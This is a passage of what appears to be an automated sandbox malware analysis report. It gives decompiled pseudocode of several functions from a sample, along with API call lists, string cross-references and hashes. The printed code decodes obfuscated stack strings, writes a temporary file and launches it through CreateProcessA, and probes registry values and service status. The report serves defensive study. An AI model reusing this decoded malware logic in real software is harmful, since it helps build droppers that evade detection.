				} while (_t137 < 0x1e);
				ExpandEnvironmentStringsA( &_v1108,  &_v524, 0x208); // executed
				lstrcatA( &_v524, " ");
				lstrcatA( &_v524,  &_v1044);
				memset( &_v1176, 0, 0x11 << 2);
				_v1176.cb = 0x44;
				_v1176.wShowWindow = 1;
				CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v1176,  &_v1192); // executed
				CloseHandle(_v1192);
				return E00424873(CloseHandle(_v1192.hThread), _v4);
			}

0x00412620
0x00412626
0x0041262e
0x00412643
0x00412660
0x00412666
0x00412672
0x0041267c
0x0041268a
0x0041268e
0x00412690
0x00412694
0x00412696
0x00412696
0x004126a4
0x004126a7
0x004126aa
0x004126ab
0x00412696
0x004126c6
0x004126ce
0x004126d8
0x004126e5
0x004126ed
0x004126ed
0x004126fd
0x00412701
0x0041270e
0x00412715
0x0041271c
0x00412721
0x00412726
0x0041272b
0x00412730
0x00412735
0x0041273a
0x0041273f
0x00412744
0x00412749
0x0041274e
0x00412753
0x00412758
0x0041275d
0x00412762
0x00412767
0x0041276b
0x00412770
0x00412775
0x0041277a
0x0041277f
0x00412784
0x00412789
0x0041278e
0x00412796
0x0041279e
0x004127a6
0x004127ae
0x004127b6
0x004127be
0x004127c6
0x004127ce
0x004127d6
0x004127de
0x004127e6
0x004127ed
0x004127f5
0x004127fd
0x00412805
0x0041280d
0x00412815
0x0041281d
0x00412825
0x0041282d
0x00412835
0x0041283d
0x00412844
0x0041284c
0x00412854
0x0041285c
0x00412864
0x0041286c
0x00412873
0x0041287b
0x00412883
0x0041288b
0x00412893
0x004128a0
0x004128b1
0x004128c2
0x004128d3
0x004128e4
0x004128f5
0x00412902
0x00412906
0x00412909
0x00412920
0x00412939
0x0041294b
0x00412958
0x0041297a
0x00412982
0x00412989
0x00412994
0x004129b3

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00000000,?,0000007B), ref: 00412643
GetTempFileNameA.KERNELBASE(?,0042E292,00000000,?,?,0000007B), ref: 00412660

Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1DA
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1E8
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1F6
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C204

GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 00412681
HeapAlloc.KERNEL32(00000000,?,0000007B), ref: 00412684
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000,?,0000007B), ref: 004126C6
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,0000007B), ref: 004126D8
CloseHandle.KERNEL32(00000000,?,0000007B), ref: 004126E5
GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 004126EA
HeapFree.KERNEL32(00000000,?,0000007B), ref: 004126ED
ExpandEnvironmentStringsA.KERNELBASE(0000004F,?,00000208), ref: 00412920

Strings

K, xrefs: 004127C6
O, xrefs: 00412744
x, xrefs: 0041280D
', xrefs: 00412730
D, xrefs: 0041297A
I, xrefs: 00412835
j, xrefs: 00412873
G@,, xrefs: 00412626
A, xrefs: 004127A6
4, xrefs: 0041272B
7, xrefs: 0041287B
<, xrefs: 0041284C
\, xrefs: 004127ED
_, xrefs: 004127BE
W, xrefs: 00412825
), xrefs: 0041277F
N, xrefs: 0041288B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CountHeapTick$File$Process$AllocCloseCreateCurrentDirectoryEnvironmentExpandFreeHandleNameStringsTempWrite
String ID: '$)$4$7$<$A$D$G@,$I$K$N$O$W$\$_$j$x
API String ID: 1204127460-2064899895
Opcode ID: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
Instruction ID: fc50ba5ee65d84b0438dc11ee2d5e43eb154a7910d067eaa4cf43abc5e739b9a
Opcode Fuzzy Hash: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
Instruction Fuzzy Hash: 03A15E2110C7C19ED33197399889BDBBFD45FA7214F184AADE2E8872D3C6B5440ACB67

Uniqueness

Uniqueness Score: -1.00%

Function 00421A20, Relevance: 51.0, APIs: 9, Strings: 20, Instructions: 219
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00421A20(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				int _v76;
				int _v80;
				void* _v84;
				void* _v92;
				intOrPtr _t123;
				void* _t125;
				intOrPtr _t127;
				long _t132;
				void* _t135;
				void* _t136;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t165;
				short _t170;
				void* _t196;
				void* _t199;
				void** _t202;
				void** _t203;
				void** _t204;

				_t202 =  &_v84;
				_t123 =  *0x4310d8; // 0x2c0d4047
				_t199 = __ecx;
				_v70 = 0x7c;
				_v67 = 0x7c;
				_v71 = 0x2c;
				_v66 = 0x2c;
				_v4 = _t123;
				_v56 = 0xc5;
				_v43 = 0xc5;
				_v57 = 0x45;
				_v44 = 0x45;
				_v68 = 0x12;
				_v38 = 0x12;
				_v36 = 0xc7;
				_v35 = 0xc7;
				_t170 =  *0x431f38; // 0x2d2c
				_v33 = 0x12;
				_push(__edi);
				_v72 = 0x54;
				_v69 = 0xc;
				_v65 = 0xe7;
				_v64 = 0x50;
				_v63 = 0x8d;
				_v62 = 0x53;
				_v61 = 0x29;
				_v60 = 0xa2;
				_v59 = 0xa8;
				_v58 = 0x4e;
				_v55 = 0x81;
				_v54 = 9;
				_v53 = 0xb3;
				_v52 = 0xdc;
				_v51 = 0x50;
				_v50 = 0x2a;
				_v49 = 0xc2;
				_v48 = 0xff;
				_v47 = 0x23;
				_v46 = 0xca;
				_v45 = 0x48;
				_v42 = 0x26;
				_v41 = 0x5e;
				_v40 = 0xc;
				_v39 = 0xbe;
				_v37 = 0x49;
				_v34 = 0xe;
				_v32 = 0xa4;
				_v31 = 0xed;
				_v30 = 0x49;
				_v29 = 0xbc;
				_v28 = 0x99;
				_v27 = 0x24;
				_v26 = 0x3b;
				_v25 = 0x3e;
				_t125 = 0;
				do {
					 *((char*)(_t202 + _t125 + 0x1c)) =  *((intOrPtr*)(_t202 + _t125 + 0x1c)) +  *((intOrPtr*)(_t202 + _t125 + 0x34));
					 *((char*)(_t202 + _t125 + 0x1d)) =  *((intOrPtr*)(_t202 + _t125 + 0x1d)) +  *((intOrPtr*)(_t202 + _t125 + 0x35));
					 *((char*)(_t202 + _t125 + 0x1e)) =  *((intOrPtr*)(_t202 + _t125 + 0x1e)) +  *((intOrPtr*)(_t202 + _t125 + 0x36));
					 *((char*)(_t202 + _t125 + 0x1f)) =  *((intOrPtr*)(_t202 + _t125 + 0x1f)) +  *((intOrPtr*)(_t202 + _t125 + 0x37));
					 *((char*)(_t202 + _t125 + 0x20)) =  *((intOrPtr*)(_t202 + _t125 + 0x20)) +  *((intOrPtr*)(_t202 + _t125 + 0x38));
					 *((char*)(_t202 + _t125 + 0x21)) =  *((intOrPtr*)(_t202 + _t125 + 0x21)) +  *((intOrPtr*)(_t202 + _t125 + 0x39));
					_t125 = _t125 + 6;
					_t170 = _t170 + 0x28e;
				} while (_t125 < 0x18);
				_v18 = 0x6e;
				_v14 = 0x6e;
				_t127 =  *0x431f34; // 0x32
				 *0x431f38 = _t170;
				_v23 = 0x65;
				_v9 = 0x65;
				_t165 = GetProcessHeap;
				_v24 = 0x56;
				_v22 = 0x72;
				_v21 = 0x73;
				_v20 = 0x69;
				_v19 = 0x6f;
				_v17 = 0;
				_v16 = 0x57;
				_v15 = 0x69;
				_v13 = 0x52;
				_v12 = 0x6f;
				_v11 = 0x75;
				_v10 = 0x74;
				_v8 = 0;
				 *0x431f34 = _t127 + 0x32;
				_v76 = 0x100;
				_v80 = 0;
				_t196 = HeapAlloc(GetProcessHeap(), 8, 0x100);
				_t132 = RegOpenKeyExA(0x80000002,  &_v72, 0, 1,  &_v84); // executed
				if(_t132 != 0) {
					 *((intOrPtr*)(_t199 + 0xf4)) = GetLastError();
				}
				if(RegQueryValueExA(_v84,  &_v24, 0,  &_v80, _t196,  &_v76) == 0) {
					_t135 = E00425A4D(_t165, _t196, _t199, _t196, 0x42e310);
					_t203 =  &(_t202[2]);
					if(_t135 != 0) {
						_t147 = E004259C0(_t135);
						_t203 =  &(_t203[1]);
						 *((intOrPtr*)(_t199 + 0xe4)) = _t147;
					}
					_t136 = E00425A4D(_t165, _t196, _t199, 0, 0x42e310);
					_t204 =  &(_t203[2]);
					if(_t136 != 0) {
						_t146 = E004259C0(_t136);
						_t204 =  &(_t204[1]);
						 *((intOrPtr*)(_t199 + 0xe8)) = _t146;
					}
					if(E00425A4D(_t165, _t196, _t199, 0, 0x42e310) != 0) {
						 *((intOrPtr*)(_t199 + 0xec)) = E004259C0(_t137);
					}
					 *((intOrPtr*)(_t199 + 0xf0)) = 0x1b;
					 *(_t199 + 0xf8) = 1;
				} else {
					 *((intOrPtr*)(_t199 + 0xf4)) = GetLastError();
				}
				_t118 = _t199 + 0xf4; // 0x431d8c
				 *((intOrPtr*)(_t199 + 0xfc)) = E0041F020( &_v16, _t118);
				HeapFree(GetProcessHeap(), 0, _t196);
				RegCloseKey(_v92);
				return E00424873(0, _v12);
			}

0x00421a20
0x00421a23
0x00421a2b
0x00421a31
0x00421a35
0x00421a3b
0x00421a3f
0x00421a45
0x00421a4b
0x00421a4f
0x00421a57
0x00421a5b
0x00421a61
0x00421a65
0x00421a69
0x00421a6d
0x00421a71
0x00421a78
0x00421a7c
0x00421a7d
0x00421a82
0x00421a87
0x00421a8c
0x00421a90
0x00421a95
0x00421a9a
0x00421a9f
0x00421aa4
0x00421aa9
0x00421aae
0x00421ab3
0x00421ab8
0x00421abd
0x00421ac2
0x00421ac6
0x00421acb
0x00421ad0
0x00421ad5
0x00421ada
0x00421adf
0x00421ae4
0x00421ae9
0x00421aee
0x00421af3
0x00421af8
0x00421afc
0x00421b01
0x00421b06
0x00421b0b
0x00421b0f
0x00421b14
0x00421b19
0x00421b1e
0x00421b23
0x00421b28
0x00421b30
0x00421b3e
0x00421b4c
0x00421b5a
0x00421b68
0x00421b82
0x00421b94
0x00421b98
0x00421b9b
0x00421b9f
0x00421ba6
0x00421baa
0x00421bae
0x00421bb5
0x00421bc5
0x00421bc9
0x00421bcd
0x00421bd8
0x00421bdd
0x00421be2
0x00421be7
0x00421beb
0x00421bef
0x00421bf4
0x00421bf9
0x00421bfd
0x00421c02
0x00421c06
0x00421c0b
0x00421c10
0x00421c15
0x00421c1a
0x00421c22
0x00421c33
0x00421c48
0x00421c56
0x00421c5a
0x00421c5a
0x00421c7f
0x00421c91
0x00421c96
0x00421c9b
0x00421c9e
0x00421ca3
0x00421ca6
0x00421ca6
0x00421cb3
0x00421cb8
0x00421cbd
0x00421cc0
0x00421cc5
0x00421cc8
0x00421cc8
0x00421cdf
0x00421cea
0x00421cea
0x00421cf0
0x00421cfa
0x00421c81
0x00421c83
0x00421c83
0x00421d04
0x00421d1a
0x00421d23
0x00421d2e
0x00421d46

APIs

GetProcessHeap.KERNEL32 ref: 00421C2A
HeapAlloc.KERNEL32(00000000), ref: 00421C2D
RegOpenKeyExA.ADVAPI32(80000002,000000A2,00000000,00000001,00000000), ref: 00421C48
GetLastError.KERNEL32 ref: 00421C58
RegQueryValueExA.ADVAPI32(?,00000057,00000000,00000000,00000000,?), ref: 00421C77
GetLastError.KERNEL32 ref: 00421C81
GetProcessHeap.KERNEL32(00000000,00000000,?,00431D8C,?,?,?,?,?,00000001), ref: 00421D20
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 00421D23
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 00421D2E

Strings

R, xrefs: 00421BFD
;, xrefs: 00421B1E
>, xrefs: 00421B23
), xrefs: 00421A9A
&, xrefs: 00421AE4
W, xrefs: 00421BF4
S, xrefs: 00421A95
s, xrefs: 00421BE2
^, xrefs: 00421AE9
#, xrefs: 00421AD5
N, xrefs: 00421AA9
H, xrefs: 00421ADF
V, xrefs: 00421BD8
T, xrefs: 00421A7D
u, xrefs: 00421C06
$, xrefs: 00421B19
*, xrefs: 00421AC6
G@,, xrefs: 00421A23
r, xrefs: 00421BDD
t, xrefs: 00421C0B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: #$$$&$)$*$;$>$G@,$H$N$R$S$T$V$W$^$r$s$t$u
API String ID: 1434707997-1748505574
Opcode ID: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
Instruction ID: fa9cfd876d3b6e4b553c796e2fcc97387f4aba46f10f049a185be6cbd934e7b4
Opcode Fuzzy Hash: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
Instruction Fuzzy Hash: E1A17A6110D3C19ED322DB79A884B9BBFD45FA6208F481EADF0D487393D2A5C108C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041FAD9, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 142
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041FAD9(void* __eax, char __ebx, signed int __ecx, void* __esi, void* _a12, void* _a16, int _a20, int _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a44, intOrPtr _a72, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, intOrPtr _a108) {
				void* _v0;
				void* _t81;
				signed int _t86;
				long _t98;
				void* _t102;
				void* _t103;
				void* _t104;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				signed char _t123;
				signed int _t125;
				signed int _t137;
				void* _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				void* _t164;

				_t157 = __esi;
				_t125 = __ecx;
				_t81 = __eax;
				do {
					 *((intOrPtr*)(_t162 + _t81 + 0x2c)) =  *((intOrPtr*)(_t162 + _t81 + 0x2c)) +  *((intOrPtr*)(_t162 + _t81 + 0x1c));
					 *((intOrPtr*)(_t162 + _t81 + 0x2d)) =  *((intOrPtr*)(_t162 + _t81 + 0x2d)) +  *((intOrPtr*)(_t162 + _t81 + 0x1d));
					 *((intOrPtr*)(_t162 + _t81 + 0x2e)) =  *((intOrPtr*)(_t162 + _t81 + 0x2e)) +  *((intOrPtr*)(_t162 + _t81 + 0x1e));
					 *((intOrPtr*)(_t162 + _t81 + 0x2f)) =  *((intOrPtr*)(_t162 + _t81 + 0x2f)) +  *((intOrPtr*)(_t162 + _t81 + 0x1f));
					 *((intOrPtr*)(_t162 + _t81 + 0x30)) =  *((intOrPtr*)(_t162 + _t81 + 0x30)) +  *((intOrPtr*)(_t162 + _t81 + 0x20));
					_t81 = _t81 + 5;
					_t125 = _t125 + 0x221;
				} while (_t81 < 0xf);
				_a88 = 0xd;
				_a76 = 0xd;
				 *0x431f38 = _t125;
				_a84 = 0xc4;
				_a85 = 0xd4;
				_a86 = 0x79;
				_a87 = 0xbe;
				_a89 = 0xdb;
				_a77 = 0x7b;
				_a78 = 8;
				_a79 = __ebx;
				_a80 = 0xa;
				_a81 = 0x64;
				_a72 = E0041E250(6,  &_a76,  &_a84);
				_t86 =  *0x431f38; // 0x2d2c
				_a24 = 0x41;
				_a25 = 0x63;
				_a26 = 0x74;
				_a27 = 0x69;
				_a28 = 0x76;
				_a29 = __ebx;
				_a30 = 0x5a;
				_a31 = 0x41;
				_a32 = 0;
				 *0x431f38 = _t86 + 0x3d5;
				_a20 = 0xff;
				_a16 = 0;
				_t155 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t123 = 0x3d; // executed
				_t98 = RegOpenKeyExA(0x80000002,  &_a88, 0, 1,  &_a12); // executed
				if(_t98 != 0) {
					 *((intOrPtr*)(__esi + 0x14)) = GetLastError();
				}
				if(RegQueryValueExA(_a16,  &_a44, 0,  &_a20, _t155,  &_a24) == 0) {
					_t102 = E00425A4D(_t123, _t155, _t157, _t155, 0x42e310);
					_t163 = _t162 + 8;
					if(_t102 != 0) {
						_t119 = E004259C0(_t102);
						_t163 = _t163 + 4;
						 *((intOrPtr*)(_t157 + 4)) = _t119;
					}
					_t103 = E00425A4D(_t123, _t155, _t157, 0, 0x42e310);
					_t164 = _t163 + 8;
					if(_t103 != 0) {
						_t118 = E004259C0(_t103);
						_t164 = _t164 + 4;
						 *((intOrPtr*)(_t157 + 8)) = _t118;
					}
					_t104 = E00425A4D(_t123, _t155, _t157, 0, 0x42e310);
					_t162 = _t164 + 8;
					if(_t104 != 0) {
						_t117 = E004259C0(_t104);
						_t162 = _t162 + 4;
						 *((intOrPtr*)(_t157 + 0xc)) = _t117;
					}
					_t123 = 0;
					 *((intOrPtr*)(_t157 + 0x10)) = 0x14;
					 *(_t157 + 0x18) = 1;
				} else {
					 *((intOrPtr*)(_t157 + 0x14)) = GetLastError();
				}
				_t71 = _t157 + 0x14; // 0x431cac
				 *((intOrPtr*)(_t157 + 0x1c)) = E0041F020(_a76, _t71);
				 *((intOrPtr*)(_t157 + 0x20)) = E0041F100(_t157,  &_a20, _t71);
				_t137 =  *0x431f2c; // 0x0
				 *0x431f2c = _t137 * 0x3b11;
				 *0x431f38 = (_t123 * 0x00000038 & _t123 & 0x00000050) *  *0x431f38 +  *0x431f30 | 0x0000005b;
				HeapFree(GetProcessHeap(), 0, _t155);
				RegCloseKey(_v0);
				return E00424873(0, _a108);
			}

0x0041fad9
0x0041fad9
0x0041fad9
0x0041fae0
0x0041fae4
0x0041faec
0x0041faf4
0x0041fafc
0x0041fb04
0x0041fb18
0x0041fb1b
0x0041fb1f
0x0041fb26
0x0041fb2a
0x0041fb3c
0x0041fb43
0x0041fb48
0x0041fb4d
0x0041fb52
0x0041fb57
0x0041fb5c
0x0041fb61
0x0041fb66
0x0041fb6a
0x0041fb6f
0x0041fb79
0x0041fb7d
0x0041fbb0
0x0041fbb4
0x0041fbb9
0x0041fbbe
0x0041fbc3
0x0041fbc8
0x0041fbcc
0x0041fbd1
0x0041fbd5
0x0041fbda
0x0041fbe0
0x0041fbe8
0x0041fc10
0x0041fc12
0x0041fc14
0x0041fc22
0x0041fc26
0x0041fc26
0x0041fc48
0x0041fc57
0x0041fc5c
0x0041fc61
0x0041fc64
0x0041fc69
0x0041fc6c
0x0041fc6c
0x0041fc76
0x0041fc7b
0x0041fc80
0x0041fc83
0x0041fc88
0x0041fc8b
0x0041fc8b
0x0041fc95
0x0041fc9a
0x0041fc9f
0x0041fca2
0x0041fca7
0x0041fcaa
0x0041fcaa
0x0041fcad
0x0041fcaf
0x0041fcb6
0x0041fc4a
0x0041fc4c
0x0041fc4c
0x0041fcc1
0x0041fcd5
0x0041fcdd
0x0041fce6
0x0041fd05
0x0041fd17
0x0041fd25
0x0041fd30
0x0041fd48

APIs

GetProcessHeap.KERNEL32(00000008,000000FF,?), ref: 0041FBF0
HeapAlloc.KERNEL32(00000000), ref: 0041FBF7
RegOpenKeyExA.ADVAPI32(80000002,00000006,00000000,00000001,74E04DE0), ref: 0041FC14
GetLastError.KERNEL32 ref: 0041FC24
RegQueryValueExA.ADVAPI32(?,000000E5,00000000,00000000,00000000,?), ref: 0041FC40
GetLastError.KERNEL32 ref: 0041FC4A

Strings

y, xrefs: 0041FB4D
i, xrefs: 0041FBBE
v, xrefs: 0041FBC3
Z, xrefs: 0041FBCC
t, xrefs: 0041FBB9
{, xrefs: 0041FB5C
c, xrefs: 0041FBB4
d, xrefs: 0041FB6F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: Z$c$d$i$t$v$y${
API String ID: 1776519057-3640894087
Opcode ID: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
Instruction ID: 17e8e7697b2e3bef17a3567bbfa0b456d59c673bdf2ae35ddef1ee050250fe48
Opcode Fuzzy Hash: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
Instruction Fuzzy Hash: 7351CF7110C3C08ED311DB689855B9BFFE5AF99708F044E6EE1C587292D7B98109CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F020, Relevance: 16.6, APIs: 11, Instructions: 82
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E0041F020(char* _a4, intOrPtr* _a8) {
				char** _v12;
				char _v36;
				char _v40;
				intOrPtr _v52;
				void* _t10;
				char* _t12;
				intOrPtr _t15;
				void* _t34;
				void* _t36;

				_t10 = OpenSCManagerA(0, 0, 0x80000000); // executed
				_t34 = _t10;
				if(_t34 != 0) {
					_t36 = OpenServiceA(_t34, _a4, 4);
					if(_t36 != 0) {
						_t12 =  &_v36;
						__imp__QueryServiceStatusEx(_t36, 0, _t12, 0x24,  &_v40);
						if(_t12 != 0) {
							CloseServiceHandle(_t36);
							CloseServiceHandle(_t34);
							_t15 = _v52;
							if(_t15 == 4 || _t15 == 2) {
								 *_v12 = 0;
								return 1;
							} else {
								 *_v12 = 0;
								return 0;
							}
						} else {
							 *_v12 = GetLastError();
							CloseServiceHandle(_t36);
							CloseServiceHandle(_t34);
							return 0;
						}
					} else {
						 *_a8 = GetLastError();
						CloseServiceHandle(_t34);
						return 0;
					}
				} else {
					 *_a8 = GetLastError();
					return 0;
				}
			}

0x0041f02d
0x0041f033
0x0041f037
0x0041f05d
0x0041f061
0x0041f087
0x0041f08f
0x0041f097
0x0041f0c2
0x0041f0c5
0x0041f0c7
0x0041f0ce
0x0041f0ee
0x0041f0fd
0x0041f0d5
0x0041f0da
0x0041f0e6
0x0041f0e6
0x0041f099
0x0041f0aa
0x0041f0ac
0x0041f0af
0x0041f0b8
0x0041f0b8
0x0041f063
0x0041f06e
0x0041f070
0x0041f07d
0x0041f07d
0x0041f039
0x0041f043
0x0041f04b
0x0041f04b

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F02D
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F039
OpenServiceA.ADVAPI32(00000000,?,00000004,00431C98,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F057
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F063
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F070

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
Instruction ID: f3cf9168e74de08882df1071f672c22a0612c2c306f6c0820370a697ac743aba
Opcode Fuzzy Hash: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
Instruction Fuzzy Hash: 27217C36701220ABD321AB69DC49B9F7BE4EFD9750F80442AFA41D7350D7B09847CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00412897, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00412897(void* __eax, struct _PROCESS_INFORMATION _a20, void* _a24, struct _STARTUPINFOA _a36, short _a84, char _a104, char _a168, char _a688, intOrPtr _a1208) {
				void* _t52;
				void* _t100;

				_t52 = __eax;
				do {
					 *((char*)(_t100 + _t52 + 0x68)) =  *((intOrPtr*)(_t100 + _t52 + 0x68)) +  *((intOrPtr*)(_t100 + _t52 + 0x88));
					 *((char*)(_t100 + _t52 + 0x69)) =  *((intOrPtr*)(_t100 + _t52 + 0x69)) +  *((intOrPtr*)(_t100 + _t52 + 0x89));
					 *((char*)(_t100 + _t52 + 0x6a)) =  *((intOrPtr*)(_t100 + _t52 + 0x6a)) +  *((intOrPtr*)(_t100 + _t52 + 0x8a));
					 *((char*)(_t100 + _t52 + 0x6b)) =  *((intOrPtr*)(_t100 + _t52 + 0x6b)) +  *((intOrPtr*)(_t100 + _t52 + 0x8b));
					 *((char*)(_t100 + _t52 + 0x6c)) =  *((intOrPtr*)(_t100 + _t52 + 0x6c)) +  *((intOrPtr*)(_t100 + _t52 + 0x8c));
					 *((char*)(_t100 + _t52 + 0x6d)) =  *((intOrPtr*)(_t100 + _t52 + 0x6d)) +  *((intOrPtr*)(_t100 + _t52 + 0x8d));
					_t52 = _t52 + 6;
				} while (_t52 < 0x1e);
				ExpandEnvironmentStringsA( &_a104,  &_a688, 0x208); // executed
				lstrcatA( &_a688, " ");
				lstrcatA( &_a688,  &_a168);
				memset( &_a36, 0, 0x11 << 2);
				_a36.cb = 0x44;
				_a84 = 1;
				CreateProcessA(0,  &_a688, 0, 0, 0, 0, 0, 0,  &_a36,  &_a20); // executed
				CloseHandle(_a20);
				return E00424873(CloseHandle(_a24), _a1208);
			}

0x00412897
0x004128a0
0x004128b1
0x004128c2
0x004128d3
0x004128e4
0x004128f5
0x00412902
0x00412906
0x00412909
0x00412920
0x00412939
0x0041294b
0x00412958
0x0041297a
0x00412982
0x00412989
0x00412994
0x004129b3

APIs

ExpandEnvironmentStringsA.KERNELBASE(0000004F,?,00000208), ref: 00412920
lstrcatA.KERNEL32(?,0042E3F8), ref: 00412939
lstrcatA.KERNEL32(?,?), ref: 0041294B
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00412989
CloseHandle.KERNEL32(?), ref: 00412994
CloseHandle.KERNEL32(?), ref: 0041299B

Strings

D, xrefs: 0041297A

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseHandlelstrcat$CreateEnvironmentExpandProcessStrings
String ID: D
API String ID: 249013821-2746444292
Opcode ID: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
Instruction ID: 1d206c3ebca1a40486939c7928fd3c0a5193cdd2c06ff6f9138d119af16f5955
